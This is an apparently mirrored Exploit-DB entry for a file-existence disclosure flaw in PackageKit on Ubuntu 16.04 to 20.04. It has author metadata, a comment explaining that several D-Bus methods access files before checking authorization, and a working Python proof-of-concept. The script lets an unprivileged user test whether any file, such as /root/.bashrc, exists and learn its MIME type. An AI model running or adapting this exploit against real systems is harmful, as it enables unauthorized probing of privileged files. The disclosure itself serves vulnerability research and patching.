PackageKit < 1.1.13 - File Existence Disclosure - 体验盒子

作者： Vaisha Bernard

日期： 2020-10-28

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/48961/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1

# Date: 2020-10-27

# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)

# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/

# Software Link: https://www.freedesktop.org/software/PackageKit/

# Version: <= 1.1.1+bzr982-0ubuntu32.1

# Tested on: Ubuntu 20.04

#

#!/usr/bin/env python3

#

# Ubuntu 16.04 - 20.04

# PackageKit <= 1.1.13-2ubuntu1

# Sensitive Information Disclosure

#

# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html

#

# The InstallFiles, GetFilesLocal and GetDetailsLocal methods

# of the d-bus interface to PackageKit accesses given files

# before checking for authorization. This allows non-privileged

# users to learn the MIME type of any file on the system.

#

# Example in attached Python script:

#

# $ python3 test_file_exists_pk.py /root/.bashrc

# File exists and is of MIME type: 'text/plain'

#

# $ python3 test_file_exists_pk.py /root/.bashrca

# File does not exist

#

import dbus

import os

import sys

import re

if len(sys.argv) != 2:

print("Checks if file exists and returns MIME type")

print("Usage: %s <file>")

sys.exit(0)

FILE_TO_CHECK = sys.argv[1]

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")

apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)

apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

try:

apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])

# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])

# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])

except dbus.exceptions.DBusException as e:

if "No such file" in str(e):

print("File does not exist")

elif "MimeTypeNotSupported" in str(e):

result = re.search('MIME type (.*) not supported', str(e))

print("File exists and is of MIME type: " + result.group(1))